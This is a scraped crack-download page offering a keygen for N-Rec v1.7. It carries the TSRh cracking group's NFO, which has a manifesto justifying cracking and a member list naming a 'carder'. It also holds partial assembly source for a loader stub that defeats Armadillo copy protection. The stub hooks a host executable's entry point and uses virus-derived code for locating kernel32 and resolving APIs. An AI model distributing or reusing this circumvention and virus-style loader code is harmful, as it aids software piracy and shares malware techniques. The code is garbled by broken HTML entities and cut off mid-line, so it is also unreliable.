CRACK LOCATOR

The Way We Find The Cracks
 
N-Rec v1.7
  1. Download the crack/serial/keygen for "N-Rec v1.7".
  2. Download with DSL speed using USENExT.
  3.  

  4. View text files (.nfo & .diz) autoextracted from the zip.
  5. If you like the software, please support the author and buy it! Every good job should be paid.

Previous cracks Next cracks
Related cracks Alternative possible spelling

Auto .NFO Viewer
tsrh.nfo: яяя я▄▄▄ ▄  ▄▄████▄▄ ▄ яя▄▄▄▄█████▀▀▀ ▄▄▓▄ ▄▓▀ ▀▀▀▀ ▀▓██▄ ████▄ я ▄████████▀▀ ▄▄▄██▀▀ ▀ ▄ ██▌ ▄██▄ ▓██░▐████░ яя▄████▀▓███▓ ▓██▀ ▒▓░█ ▐▓██░ ▐███▐████ ▐███▀ я▒████▌я ▓██▌ ▓██▓ ████ ███▓▐███ ██ я▒███▓ ▀██ ▀█ ▄████ ▒███▌████ ▄▄▄ ▐██▄ ▐███▌я ▀██▄▄ ▐████▌ ▄███▓▐███▓ ▄▄███████▄▄ █▀ я▐███▌   ▀▀▀▓██▓▄▄▄ ████▓ ▄▄▄█▓▀▀ ▓████ ▀ ▀▀█████▄ ▄███▌я ▐▒ ▀▀██▄▄ ▀▓█▌ ▀██▄▄ █████ ████▓▌ ▒███▓я ██▌ ████▌▐█▒ ▀▀██▄▄ ▀▀▓ ░████▓ я ▄▄████▀я ▐███▄▄ ▄▄▄▓██▀▀ ██▌ ▀▀▀█▄▄▄ ▄█▓▀▀ ▐▄ ▀▀▀▀ ▄▓██▀ ▀▀██▄▄██▀▀▀▀ ▀██▀ ▐▓▄▄▄ ▄█▀ ▄▌ ▐█▒▄▄▄ ▀▀▀ ▀▀▀ ▄▄▄▒██ ▀█▓▓▒░ ░▒▓▓█▀ ▀█▓▒░ ░▒▓█▀ ▄█▓▒░     ░▒▓█▄ ▄█▓▓▒▒░ ░ ░ ░▒▒▓▓█▄ █▓▀ ▀▀ ▄▄▓▓▓▓▄▄ ▒░ p r e s e n t s ░▒ ▄▄▓▓▓▓▄▄ ▀▀ ▀▓█ ▀▄ ▄█▀▀▀ ▀▀█▓▒░▀ ▀░▒▓█▀▀ ▀▀▀█▄ ▄▀    ▀ ▀▀ ▀▀ ▀    app [ N-Rec 1.7 ] url [ http://l ooking.for.hosting ] by [ infern0 ] type [ Keygen ] date [ 17-02-2004 ] ▐▄ ▄▌ ▐█▒▄▄▄ ▄▄▒██▌ ▀█▓▓▒▒░ ░▒▒▓▓█▀ ▀█▓▒░ ░▒▓█▀ ▄█▓▒░     ░▒▓█▄ ▄█▓▓▒▒░ ░ : T A R G E T : ░ ░▒▒▓▓█▄ █▓▀ ▀▀ ▄▄▓▓▓▓▄▄ ▒░ ░▒ ▄▄▓▓▓▓▄▄ ▀▀ ▀▓█ ▀▄ ▄█▀▀▀ ▀▀█▓▒░▀ : D E S C R I P T I O N : ▀░▒▓█▀▀ ▀▀▀█▄ ▄▀    ▀ ▀▀ ▀▀ ▀    ▄▄ ▀▄ ▄▀ ▄▄ ▄█▓▓▓▓██▄ ▄▒░ ░▒▄ ▄██▓▓▓▓█▄ ▐▒▓▀ ▀▀▓▓▒░▀ ▀░▒▓▓▀▀ ▀▓▒▌ ▓▒▌ ▐▒▓ ▒ ▒ ▒ Armadillo nanomites recover tool. Fully automatic mode to dump all ▒ ▒ nanomites tables and resolve Jcc types. Three recover modes ▒ ▒ disassembly, live debug and loader injection. ▒ ▒ - More powerful stub with environment variables support. ▒ ▒ - Armadillo 3.60-3.61 now supported by automatic dumper. ▒ ▒ ▒ ▓▒ ▒▓ ▐▓▒▄█▓▓▄ ▄▓▓█▄▒▓▌ ▀▓▓▀ ▓▒▄ ▄▒▓ ▀▓▓▀ ▄█▓▒░     ░▒▓█▄ ▄█▓▓▒▒░ ░ : R E G I S T E R : ░ ░▒▒▓▓█▄ █▓▀ ▀▀ ▄▄▓▓▓▓▄▄ ▒░ ░▒ ▄▄▓▓▓▓▄▄ ▀▀ ▀▓█ ▀▄ ▄█▀▀▀ ▀▀█▓▒░▀ : N O T E S : ▀░▒▓█▀▀ ▀▀▀█▄ ▄▀    ▀ ▀▀ ▀▀ ▀    ▄▄ ▀▄ ▄▀ ▄▄ ▄█▓▓▓▓██▄ ▄▒░ ░▒▄ ▄██▓▓▓▓█▄ ▐▒▓▀ ▀▀▓▓▒░▀ ▀░▒▓▓▀▀ ▀▓▒▌ ▓▒▌ ▐▒▓ ▒ ▒ ▒ Enjoy using this tool :) ▒ ▒ ▒ ▓▒ ▒▓ ▐▓▒▄█▓▓▄ ▄▓▓█▄▒▓▌ ▀▓▓▀ ▓▒▄ ▄▒▓ ▀▓▓▀ ▄█▓▒░     ░▒▓█▄ ▄█▓▓▒▒░ ░ : J U S T : ░ ░▒▒▓▓█▄ █▓▀ ▀▀ ▄▄▓▓▓▓▄▄ ▒░ a ░▒ ▄▄▓▓▓▓▄▄ ▀▀ ▀▓█ ▀▄ ▄█▀▀▀ ▀▀█▓▒░▀ : G A M E : ▀░▒▓█▀▀ ▀▀▀█▄ ▄▀    ▀ ▀▀ ▀▀ ▀    ▄▄ ▀▄ ▄▀ ▄▄ ▄█▓▓▓▓██▄ ▄▒░ ░▒▄ ▄██▓▓▓▓█▄ ▐▒▓▀ ▀▀▓▓▒░▀ ▀░▒▓▓▀▀ ▀▓▒▌ ░▒▌ ▐▒░ ░▒ now, you are a part of the game, too. all your personal qualities ▒░ ░░ have been logged and u can't exit untill your death. its game of ░░ ░░ information... someone call it illegal, someone can't agree with it ░ ░░ or tries to deny it, it makes one disappoint, or happy, but cracking ░ ░░ force exist without asking for your opinion. the crime of the most ░░ ░░ enthusiasts is that of curiosity, is that of reversing, is that of ░░ ░░ willing to know 'how it must be'. and they explore... they change ░░ ░░ bytes, they unpack, debug and analyze those 'uncrackable routines 9; ░░ ░░ you can't even imagine, and it gives them pleasure, it gives them ░ ░ ░░ knowledge... ░░ ░░ nowdays, many people are envolved into it-related branches of ░░ ░░ industry. lots of ideas and their realizations appear every day. they ░ ░░ make doing specific sums more easier, but software developers want to ░ ░░ get compensation for their 'hard work'. they protect... to the mo st ░ ░░ of them it seems unbeliveable to share their code, getting experience ░ by discussing it, making it better... there is no argue with buying ░ ░ 'really good' apps, their authors never try getting much from it, y ou ░░ ░░ enjoy support and programm for your money, coz author wants to get ░░ ░░ experience, too. he optimizes it, he wants it work better. we want ░░ ░░ more such authors, less those greedy men, who wants you pay for buggy ░░ ░░ shit never worth seeing. best is open source... individuals of even ░░ ░ cracking groups may go down, but challenge will never end... ░░ ▒░ nevertheless its just a game... ░▒ ░▒ ▒░ ▓▒ if freedom is outlawed, only outlaws will have freedom ▒▓ ▐▓▒▄█▓▓▄ ▄▓▓█▄▒▓▌ ▀▓▓▀ ▓▒▄ ▄▒▓ ▀▓▓▀ ▄█▓▒░     ░▒▓█▄ ▄█▓▓▒▒░ ░ : T S R h T e a M : ░ ░▒▒▓▓█▄ █▓▀ ▀▀ ▄▄▓▓▓▓▄▄ ▒░ ░▒ ▄▄▓▓▓▓▄▄ ▀▀ ▀▓█ ▀▄ ▄█▀▀▀ ▀▀█▓▒░▀ : M E M B E R S : ▀░▒▓█▀▀ ▀▀▀█▄ ▄▀    ▀ ▀▀ ▀▀ ▀    ▄▄ ▀▄ ▄▀ ▄▄ ▄█▓▓▓▓██▄ ▄▒░ ░▒▄ ▄██▓▓▓▓█▄ ▐▒▓▀ ▀▀▓▓▒░▀ ▀░▒▓▓▀▀ ▀▓▒▌ ░▒▌ ▐▒░ ▒░ A C T I V E ░▒ ░░ ░░ ░░ [ B-$hep .................... ] [ founder, cracker .......... ] ░░ ░░ [ Nitrogen .................. ] [ cracker, coder ............ ] ░░ ░░ [ EGOiST .................... ] [ cracker, coder ............ ] ░░ ░░ [ NeRo ...................... ] [ cracker ................... ] ░░ ░░ [ Funbit .................... ] [ cracker, coder ............ ] ░░ ░░ [ ByTESCRK .................. ] [ cracker ................... ] ░░ ░░ [ ReaL|sty .................. ] [ cracker ................... ] ░░ ░░ [ Vepergen .................. ] [ cracker ................... ] ░░ ░░ [ BoOMBoX.................... ] [ cracker.................... ] ░░ ░░ [ QIce ...................... ] [ cracker, coder ............ ] ░░ ░░ [ Geo4ce .................... ] [ carder .................... ] ░░ ░░ [ mR_gANDALF ................ ] [ cracker ................... ] ░░ ░░ [ Bra!NSHiT.................. ] [ cracker.................... ] ░░ ░░ [ MozgC ..................... ] [ cracker.................... ] ░░ ░░ [ infern0 ................... ] [ cracker.................... ] ░ ░ ░░ [ V0land..................... ] [ palm cracker............... ] ░ ░ ░░ ░░ ░░ T R I A L ░░ ░░ ░░ ░░ [ Lz......................... ] [ cracker.................... ] ░░ ░░ ░░ ░░ F R E E Z E D ░░ ░░ ░░ ░░ [ OxEn (ARMY)................ ] [ founder, cracker .......... ] ░░ ░░ [ Spate ..................... ] [ cracker ................... ] ░░ ▒░ [ BruceLee .................. ] [ cracker ................... ] ░▒ ░░ [ Koba Yashi ................ ] [ cracker ................... ] ░░ ▒▒ ▒▒ ▓▒ ▒▓ ▐▓▒▄█▓▓▄ ▄▓▓█▄▒▓▌ ▀▓▓▀ ▓▒▄ ▄▒▓ ▀▓▓▀ ▄█▓▒░     ░▒▓█▄ ▄█▓▓▒▒░ ░ ░ ░▒▒▓▓█▄ █▓▀ ▀▀ ▄▄▓▓▓▓▄▄ ▒░ : C O N T A C T S : ░▒ ▄▄▓▓▓▓▄▄ ▀▀ ▀▓█ ▀▄ ▄█▀▀▀ ▀▀█▓▒░▀ ▀░▒▓█▀▀ ▀▀▀█▄ ▄▀    ▀ ▄  ▀▀ ▀▀  ▄ ▀    ▐░ web [ http://zor.org/tsrh ] ░▌ ░▒ forum [ http://zor.org/tsrhclub ] ▒░ ▐░ irc [ #tsrh (at EFNET) ] ░▌ ▀▄ ▄▀ ▀     nfo.last.updated     ▀ feb-04-2k4 file_id.diz: TSRh TeaM 2004 date: 17-02-2004 ██▀▀▀▀▀▀▀▀▀▀▀█ ▀▀▀▀▓ █▀▀▀▀▀▀▀▀█ █▀▀█ █▀▀▀█ ▓█ █▀█ █▀█ █ ▄ ▀ █ █ █▀█ ░ █ █ █ █ ░ █ ▒▓▄█ ▓ █ █▄▄▓ █ ▀▀▀ ▓ █▄█ ▄▄▓ ▓ █▄█cXc▓ ▒█ █ ▄▄▄▄ ▀█▀▀█ ▒█ █ █▄▄▄▄ ▒█ █ █CPH█ / ░███ █ █▄▄█ █ ░█ █ █ ▄ █ ░███ █ ▄ █ / ▒███ █▓▄▄▄▄▄▄▓█ ▒█▄█ █▄▄▄█ ▒███ █▄▄▄█ N-Rec 1.7 Keygen stub/dbg_loop.asm: ;=========================================================================== ; ; these are source code for stub.bin N-Rec loader. This file contains code ; from Aztec-win32 virus (c) by Billy Belcebu. ; this file need to be compiled using FASM assembler. Then you need to strip ; all headers and store to STUB.BIN only code section till (and including) ; the 'eof' string. ; code are completly unoptimised, it's just VC.Net asm output of correspon- ; ding C routines of N-Rec. ; ; (c) 2004 infern0 / TSRh team ; ; any coments, improved sources and bugreports are welcome to ; infern0_tsrh@tiraet.com or ICQ: 23485245 ; ;=========================================================================== format PE GUI 4.0 entry stubBegin include 'd:\fasm\include\win32a.inc' section '.code' code readable writeable executable ; host parameters hostOEP dd 0ffffffffh ; +0 _nanoCount dd 0eeeeeeeeh ; +4 ; main data pointers _nano_ccad dd 0 ; +8 _nano_jdst dd 0 ; +c _nano_jtyp dd 0 ; +10 _nano_jsiz dd 0 ; +14 _nano_index dd 0 ; +18 _env_block dd 0 ; +1c stubBegin: ; new EP +20 jmp realBegin ; imports addresses @@Namez: db 'CreateProcessA',0 db 'ResumeThread',0 db 'WaitForDebugEvent',0 db 'GetThreadContext',0 db 'SetThreadContext',0 db 'ContinueDebugEvent',0 db 'TerminateProcess',0 db 'CloseHandle',0 db 'VirtualProtectEx',0 db 'ReadProcessMemory',0 db 'WriteProcessMemory',0 db 'ExitProcess',0 db 'GetModuleHandleA',0 db 'LocalFree',0 db 'GetCommandLineA',0 db 'LocalAlloc',0 db 'SetEnvironmentVariableA',0 db 0BBh @@Offsetz: CreateProcessA dd 0 ResumeThread dd 0 WaitForDebugEvent dd 0 GetThreadContext dd 0 SetThreadContext dd 0 ContinueDebugEvent dd 0 TerminateProcess dd 0 CloseHandle dd 0 VirtualProtectEx dd 0 ReadProcessMemory dd 0 WriteProcessMemory dd 0 ExitProcess dd 0 GetModuleHandleA dd 0 LocalFree dd 0 GetCommandLineA dd 0 LocalAlloc dd 0 SetEnvironmentVariableA dd 0 ; internal vars _res db 0 kernel dd 0 AddressTableVA dd 0 NameTableVA dd 0 OrdinalTableVA dd 0 _dbgProcess dd 0 _pCmdLine dd 0 ; internal arrays _short_opcodes db 0xEB, 0x7B, 0x71, 0&# 120;70, 0xE3, 0x72, 0x7E, 0x73, 0 20;7A, 0x78 db 0x74, 0x7F, 0x7C, 0x 79, 0x77, 0x76, 0x7D, 0x75 _longjmp_opcd db 0xE9, 0x00, 0x 8;0, 0x00, 0x00, 0x00, &# 48;x00, 0x00, 0x00, 0x&# 48;0 db 0x00, 0x00, 0x ;00, 0x00, 0x00, 0x00 , 0x00, 0x00 _long_opcodes dw 0x0000, 0x8B0F, &# 48;x810F, 0x800F, 0x0000, 0x820F, 0x8E0F, 0x830F dw 0x8A0F, 0x880F, 0x84& #48;F, 0x8F0F, 0x8C0F, 0x890F, 0& #120;870F, 0x860F, 0x8D0F, 0x850F _threads: repeat 100 dd ? dd ? end repeat ;------------------------------------------------------------------------------- ------------------ realBegin: pushad pushfd call delta delta: pop esi sub esi, delta ; o mov eax, dword [esi+hostOEP] mov dword [esi+oldEIP],eax ; these works only in NT+ systems. fuck!... ; mov ebx, [fs:30h] ; EAX=PEB base ; mov ebx, [ebx+0Ch] ; EAX=PEB_LDR_DATA ; mov ebx, [ebx+1Ch] ; InitOrderModuleList 1st ent ry ; mov ebx, [ebx] ; next entry ; mov ebx, [ebx+8] ; K32 imagebase ; mov dword [esi+kernel], ebx _ReadSEH: xor edx, edx mov eax, [fs:edx] dec edx _SearchK32: cmp [eax], edx je _CheckK32 mov eax, dword [eax] jmp _SearchK32 _CheckK32: mov eax, [eax+4] xor ax, ax _SearchMZ: cmp word [eax], 5A4Dh je _CheckMZ sub eax, 10000h jmp _SearchMZ _CheckMZ: mov edx, [eax+3ch] cmp word [eax+edx], 4550h jne exit mov dword [esi+kernel], eax ; get imports push esi mov ebp, esi ; ebp - delta offset lea edi,[ebp+@@Offsetz] lea esi,[ebp+@@Namez] call GetAPIs pop esi push 0 call [esi+GetModuleHandleA] mov dword [esi+ModBase], eax ; adjust tables pointers mov ebx, dword [esi+ModBase] add ebx, esi add ebx, 1000h ; ??????? add dword [esi+_nano_ccad], ebx add dword [esi+_nano_jdst], ebx add dword [esi+_nano_jtyp], ebx add dword [esi+_nano_jsiz], ebx add dword [esi+_nano_index], ebx add dword [esi+_env_block], ebx ; check OS run or server run call cmdLineWork cmp eax, -1 jz errRun or eax, eax jnz jmpToHost ; start debug loop call _start exit: mov eax, [esi+_pCmdLine] or eax, eax jz skipFree push eax call [esi+LocalFree] skipFree: mov eax, dword [esi+ExitProcess] mov dword [esi+exitPr],eax popfd popad push 0 ;call [esi+ExitProcess] mov eax, 12345678h exitPr = $-4 jmp eax errRun: ; display some messbox ; ... jmp exit jmpToHost: ; set environment variables mov ebx, [esi+_env_block] ; env block pointer mov edx, [ebx] ; env count add ebx, 4 ; env strings begin or edx, edx jz $env_done $env_loop: push edx xor al, al mov edi, ebx mov ecx, -1 repne scasb push edi ; value push ebx ; name mov ecx, -1 repne scasb mov ebx, edi ; next name call [esi+SetEnvironmentVariableA] ; no don't check for any erro rs, but ... pop edx dec edx jnz $env_loop $env_done: popfd popad mov eax,12345678h oldEIP = $-4 add eax,12345678h ModBase = $-4 jmp eax ;------------------------------------------------------------------------------- ------------------ _len$ = -12 ; size = 4 _p2$ = -8 ; size = 4 _ptr$ = -4 ; size = 4 cmdLineWork: ; 44 : { push ebp mov ebp, esp sub esp, 76 ; 0000&# 48;04cH push ebx push esi push edi ; 45 : char *ptr, *p2; ; 46 : int len; ; 48 : ptr=GetCommandLine(); call DWORD [esi+GetCommandLineA] mov DWORD [_ptr$+ebp], eax ; 49 : p2=ptr; mov eax, DWORD [_ptr$+ebp] mov DWORD [_p2$+ebp], eax ; 50 : len=0; mov DWORD [_len$+ebp], 0 $L74324_: ; 51 : while( *(p2++) ) len++; mov eax, DWORD [_p2$+ebp] movsx ecx, BYTE [eax] mov edx, DWORD [_p2$+ebp] add edx, 1 mov DWORD [_p2$+ebp], edx test ecx, ecx je $L74325 mov eax, DWORD [_len$+ebp] add eax, 1 mov DWORD [_len$+ebp], eax jmp $L74324_ $L74325: ; 52 : // alloc mem for new cmd line ; 53 : _pCmdLine=(char *)LocalAlloc(LPTR, len+10); mov eax, DWORD [_len$+ebp] add eax, 10 ; 00 ;00000aH push eax push 64 ; 0000&# 48;040H call DWORD [esi+LocalAlloc] mov DWORD [esi+_pCmdLine], eax ; 54 : if( !_pCmdLine ) cmp DWORD [esi+_pCmdLine], 0 jne $L74327 ; 55 : return -1; or eax, -1 jmp $L74319 $L74327: ; 56 : // copy cmd line ; 57 : p2=_pCmdLine; mov eax, DWORD [esi+_pCmdLine] mov DWORD [_p2$+ebp], eax $L74329: ; 58 : while( *[) *(p2++)=*(ptr++); mov eax, DWORD [_ptr$+ebp] movsx ecx, BYTE [eax] test ecx, ecx je $L74330 mov eax, DWORD [_p2$+ebp] mov ecx, DWORD [_ptr$+ebp] mov dl, BYTE [ecx] mov BYTE [eax], dl mov eax, DWORD [_p2$+ebp] add eax, 1 mov DWORD [_p2$+ebp], eax mov ecx, DWORD [_ptr$+ebp] add ecx, 1 mov DWORD [_ptr$+ebp], ecx jmp $L74329 $L74330: ; 59 : // check arg ; 60 : p2=_pCmdLine+len-8; mov eax, DWORD [_len$+ebp] mov ecx, DWORD [esi+_pCmdLine] lea edx, DWORD [ecx+eax-8] mov DWORD [_p2$+ebp], edx ; 61 : // '-NRE' ; 62 : // 'CSRV' ; 63 : if( *((dword *)p2+0) == 0x45524e2d && *((dword *)p2+1 ;) == 0x56525343 ) mov eax, DWORD [_p2$+ebp] cmp DWORD [eax], 45524e2dh jne $L74333_ mov eax, DWORD [_p2$+ebp] cmp DWORD [eax+4], 56525343h jne $L74333_ ; 64 : { ; 65 : // this is second run - kill rest of cmdLine ; === CMD LINE CLEAN BUG === ; 66 : p2=_pCmdLine+len-9; ;mov eax, DWORD [_len$+ebp] ;mov ecx, DWORD [esi+_pCmdLine] ; clean need NOT IN ALLOCAT ED MEM BUT IN REAL CMD LINE mov ecx, DWORD [_ptr$+ebp] ;lea edx, DWORD [ecx+eax-9] lea edx, DWORD [ecx-9] mov DWORD [_p2$+ebp], edx ; 67 : *p2=0; mov eax, DWORD [_p2$+ebp] mov BYTE [eax], 0 ; 68 : return 1; mov eax, 1 jmp $L74319 $L74333_: ; 69 : } ; 70 : else ; 71 : { ; 72 : // this is first run - append server param ; 73 : p2=_pCmdLine+len; mov eax, DWORD [esi+_pCmdLine] add eax, DWORD [_len$+ebp] ; *(p2++)=' '; mov byte [eax],20h inc eax mov DWORD [_p2$+ebp], eax ; 74 : *((dword *)p2)=0x45524e2d; // '-NRE' mov eax, DWORD [_p2$+ebp] mov DWORD [eax], 45524e2dh ; 75 : p2+=4; mov eax, DWORD [_p2$+ebp] add eax, 4 mov DWORD [_p2$+ebp], eax ; 76 : *((dword *)p2)=0x56525343; // 'CSRV' mov eax, DWORD [_p2$+ebp] mov DWORD [eax], 56525343h ; 77 : p2+=4; mov eax, DWORD [_p2$+ebp] add eax, 4 mov DWORD [_p2$+ebp], eax ; 78 : *p2=0; mov eax, DWORD [_p2$+ebp] mov BYTE [eax], 0 ; 79 : return 0; xor eax, eax $L74319: ; 80 : } ; 81 : } pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 ;------------------------------------------------------------------------------- ------------------ GetAPIs: @@1: push esi push edi call GetAPI pop edi pop esi stosd xchg edi,esi xor al,al @@2: scasb jnz @@2 xchg edi,esi @@3: cmp byte [esi],0BBh jnz @@1 ret ;------------------------------------------------------------------------------- ------------------ GetAPI: mov edx,esi mov edi,esi xor al,al @_1: scasb jnz @_1 sub edi,esi ; EDI = pазмеp имени функции mov ecx,edi xor eax,eax mov esi,3Ch add esi,[ebp+kernel] lodsw add eax,[ebp+kernel] mov esi,[eax+78h] add esi,1Ch add esi,[ebp+kernel] lea edi,[ebp+AddressTableVA] lodsd add eax,[ebp+kernel] stosd lodsd add eax,[ebp+kernel] push eax ; mov [NameTableVA],eax ; =) stosd lodsd add eax,[ebp+kernel] stosd pop esi xor ebx,ebx @_3: lodsd push esi add eax,[ebp+kernel] mov esi,eax mov edi,edx push ecx cld rep cmpsb pop ecx jz @_4 pop esi inc ebx jmp @_3 @_4: pop esi xchg eax,ebx shl eax,1 add eax,dword [ebp+OrdinalTableVA] xor esi,esi xchg eax,esi lodsw shl eax,2 add eax,dword [ebp+AddressTableVA] mov esi,eax lodsd add eax,[ebp+kernel] ret ;------------------------------------------------------------------------------- ------------------ _i$ = -4 ; size = 4 _ptr$ = 8 ; size = 4 _size$ = 12 ; size = 4 ZeroMemory: ; 40 : { push ebp mov ebp, esp sub esp, 68 ; 0000&# 48;044H push ebx push esi push edi ; 41 : int i; ; 42 : for( i=0; i<size; ++i ) mov DWORD [_i$+ebp], 0 jmp $L74323 $L74324: mov eax, DWORD [_i$+ebp] add eax, 1 mov DWORD [_i$+ebp], eax $L74323: mov eax, DWORD [_i$+ebp] cmp eax, DWORD [_size$+ebp] jge $L74321 ; 43 : *(ptr++)=0; mov eax, DWORD [_ptr$+ebp] mov BYTE [eax], 0 mov ecx, DWORD [_ptr$+ebp] add ecx, 1 mov DWORD [_ptr$+ebp], ecx jmp $L74324 $L74321: ; 44 : } pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 ;------------------------------------------------------------------------------- ------------------ tv90 = -984 ; size = 4 _thr$ = -916 ; size = 4 _addr$ = -912 ; size = 4 _code$ = -908 ; size = 4 _dbgStatus$ = -904 ; size = 4 _isExec$ = -900 ; size = 4 _ctx$ = -896 ; size = 71 6 _de$ = -180 ; size = 96 _pi$ = -84 ; size = 16 _si$ = -68 ; size = 68 _start: ; 40 : { push ebp mov ebp, esp sub esp, 984 ; 000 8;03d8H push ebx push esi push edi ; 41 : STARTUPINFO si; ; 42 : PROCESS_INFORMATION pi; ; 43 : DEBUG_EVENT de; ; 44 : CONTEXT ctx; ; 45 : dword isExec, dbgStatus, code, addr; ; 46 : HANDLE thr; ; 48 : ZeroMemory( &si, sizeof(si) ); push 68 ; 0000&# 48;044H lea eax, DWORD [_si$+ebp] push eax call ZeroMemory add esp, 8 ; 49 : si.cb=sizeof(si); mov DWORD [_si$+ebp], 68 ; 00000 044H ; 50 : if( !CreateProcess(NULL, pCmdLine, NULL, NULL, FALSE, ; 51 : CREATE_SUSPENDED | DEBUG_PROCESS | DEBUG_ONLY_THIS_PROCESS | NO RMAL_PRIORITY_CLASS, ; 52 : NULL, NULL, &si, &pi) ) lea eax, DWORD [_pi$+ebp] push eax lea ecx, DWORD [_si$+ebp] push ecx push 0 push 0 push 39 ; 000 8;0027H push 0 push 0 push 0 mov edx, DWORD [esi+_pCmdLine] push edx push 0 call DWORD [esi+CreateProcessA] test eax, eax jne $L74333 ; 53 : { ; 54 : return; jmp $L74318 $L74333: ; 55 : } ; 56 : dbgProcess=pi.hProcess; mov eax, DWORD [_pi$+ebp] mov DWORD [esi+_dbgProcess], eax ; 57 : isExec=1; mov DWORD [_isExec$+ebp], 1 ; 58 : // clear static threads array ; 59 : ZeroMemory( threads, sizeof(threads) ); push 800 ; 000 ;00320H lea eax, [esi+_threads] push eax ;push _threads ; o call ZeroMemory add esp, 8 ; 0000 8;00cH ; 60 : AddThread(pi.dwThreadId, pi.hThread); mov eax, DWORD [_pi$+ebp+4] push eax mov ecx, DWORD [_pi$+ebp+12] push ecx call _AddThread add esp, 8 ; 61 : ResumeThread(pi.hThread); mov eax, DWORD [_pi$+ebp+4] push eax call DWORD [esi+ResumeThread] $L74335: ; 62 : while( isExec ) cmp DWORD [_isExec$+ebp], 0 je $L74336 ; 63 : { ; 64 : if( WaitForDebugEvent(&de, 100) ) push 100 ; 00 000064H lea eax, DWORD [_de$+ebp] push eax call DWORD [esi+WaitForDebugEvent] test eax, eax je $L74337 ; 65 : { ; 66 : dbgStatus=DBG_CONTINUE; mov DWORD [_dbgStatus$+ebp], 00010002h ; 67 : switch( de.dwDebugEventCode ) mov eax, DWORD [_de$+ebp] mov DWORD [tv90+ebp], eax mov ecx, DWORD [tv90+ebp] sub ecx, 1 mov DWORD [tv90+ebp], ecx cmp DWORD [tv90+ebp], 8 ja $L74340 mov edx, DWORD [tv90+ebp] mov eax, DWORD [esi+$L74450+edx*4] add eax, esi jmp eax ;jmp DWORD [esi+$L74450+edx*4] $L74343: ; 68 : { ; 69 : case EXCEPTION_DEBUG_EVENT: ; 70 : code=de.u.Exception.ExceptionRecord.Except ionCode; mov eax, DWORD [_de$+ebp+12] mov DWORD [_code$+ebp], eax ; 71 : addr=de.u.Exception.ExceptionRecord.Except ionAddress; mov eax, DWORD [_de$+ebp+24] mov DWORD [_addr$+ebp], eax ; 72 : if( code == EXCEPTION_BREAKPOINT ) cmp DWORD [_code$+ebp], 80000003h jne $L74345 ; 73 : { ; 74 : if( processNanomite(addr) ) mov eax, DWORD [_addr$+ebp] push eax call _processNanomite add esp, 4 test eax, eax je $L74346 ; 75 : { ; 76 : if( (thr=GetThread(de.dwThreadId)) != NULL ) mov eax, DWORD [_de$+ebp+8] push eax call _GetThread add esp, 4 mov DWORD [_thr$+ebp], eax cmp DWORD [_thr$+ebp], 0 je $L74348 ; 77 : { ; 78 : ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_ CONTROL; mov DWORD [_ctx$+ebp], 00010003h ; 79 : GetThreadContext(thr, &ctx); lea eax, DWORD [_ctx$+ebp] push eax mov ecx, DWORD [_thr$+ebp] push ecx call DWORD [esi+GetThreadContext] ; 80 : ctx.Eip--; mov eax, DWORD [_ctx$+ebp+184] sub eax, 1 mov DWORD [_ctx$+ebp+184], eax ; 81 : SetThreadContext(thr, &ctx); lea eax, DWORD [_ctx$+ebp] push eax mov ecx, DWORD [_thr$+ebp] push ecx call DWORD [esi+SetThreadContext] $L74348: ; 82 : } ; 83 : } ; 84 : else jmp $L74349 $L74346: ; 85 : dbgStatus=DBG_CONTINUR; mov DWORD [_dbgStatus$+ebp], 00010002h $L74349: ; 86 : } ; 87 : else jmp $L74351 $L74345: ; 88 : dbgStatus=DBG_EXCEPTION_NOT_HANDLED; mov DWORD [_dbgStatus$+ebp], 80010001h $L74351: ; 89 : break; jmp $L74340 $L74353: ; 90 : case EXIT_PROCESS_DEBUG_EVENT: ; 91 : case RIP_EVENT: ; 92 : isExec=0; mov DWORD [_isExec$+ebp], 0 ; 93 : break; jmp $L74340 $L74354: ; 94 : case CREATE_THREAD_DEBUG_EVENT: ; 95 : AddThread(de.dwThreadId, de.u.CreateThread.hThread); mov eax, DWORD [_de$+ebp+12] push eax mov ecx, DWORD [_de$+ebp+8] push ecx call _AddThread add esp, 8 ; 96 : break; jmp $L74340 $L74355: ; 97 : case EXIT_THREAD_DEBUG_EVENT: ; 98 : DelThread(de.dwThreadId); mov eax, DWORD [_de$+ebp+8] push eax call _DelThread add esp, 4 $L74340: ; 99 : break; ; 100 : } ; 101 : ContinueDebugEvent(de.dwProcessId,de.dwThreadId,dbgSt atus); mov eax, DWORD [_dbgStatus$+ebp] push eax mov ecx, DWORD [_de$+ebp+8] push ecx mov edx, DWORD [_de$+ebp+4] push edx call DWORD [esi+ContinueDebugEvent] $L74337: ; 102 : } ; 103 : } jmp $L74335 $L74336: ; 104 : TerminateProcess(pi.hProcess, 0); push 0 mov eax, DWORD [_pi$+ebp] push eax call DWORD [esi+TerminateProcess] ; 105 : CloseHandle(pi.hThread); mov eax, DWORD [_pi$+ebp+4] push eax call DWORD [esi+CloseHandle] ; 106 : CloseHandle(pi.hProcess); mov eax, DWORD [_pi$+ebp] push eax call DWORD [esi+CloseHandle] $L74318: ; 107 : } pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 $L74450: DD $L74343 DD $L74354 DD $L74340 DD $L74355 DD $L74353 DD $L74340 DD $L74340 DD $L74340 DD $L74353 ;------------------------------------------------------------------------------- ------------------ tv134 = -112 ; size = 4 _bytes$ = -44 ; size = 4 _oldProtect$ = -40 ; size = 4 _processBytes$ = -36 ; size = 16 _dest$ = -20 ; size = 4 _size$ = -14 ; size = 1 _type$ = -13 ; size = 1 _i$ = -12 ; size = 4 _result$ = -8 ; size = 4 _index$ = -4 ; size = 4 _addr$ = 8 ; size = 4 _processNanomite: ; 111 : { push ebp mov ebp, esp sub esp, 112 ; 000 ;00070H push ebx push esi push edi ; 112 : // try to find nano in address table ; 113 : int index,result=0, i; mov DWORD [_result$+ebp], 0 ; 114 : byte type, size; ; 115 : dword dest; ; 116 : unsigned char processBytes[0x10]; ; 117 : unsigned long oldProtect=0, bytes; mov DWORD [_oldProtect$+ebp], 0 ; 118 : ; 119 : for( index=0; index<nanoCount; ++inde&# 120; ) mov DWORD [_index$+ebp], 0 jmp $L74368 $L74369: mov eax, DWORD [_index$+ebp] add eax, 1 mov DWORD [_index$+ebp], eax $L74368: mov eax, DWORD [_index$+ebp] cmp eax, DWORD [esi+_nanoCount] jge $L74370 ; 120 : if( nano_ccad[index]-1 == addr ) mov eax, DWORD [_index$+ebp] mov ecx, DWORD [esi+_nano_ccad] mov edx, DWORD 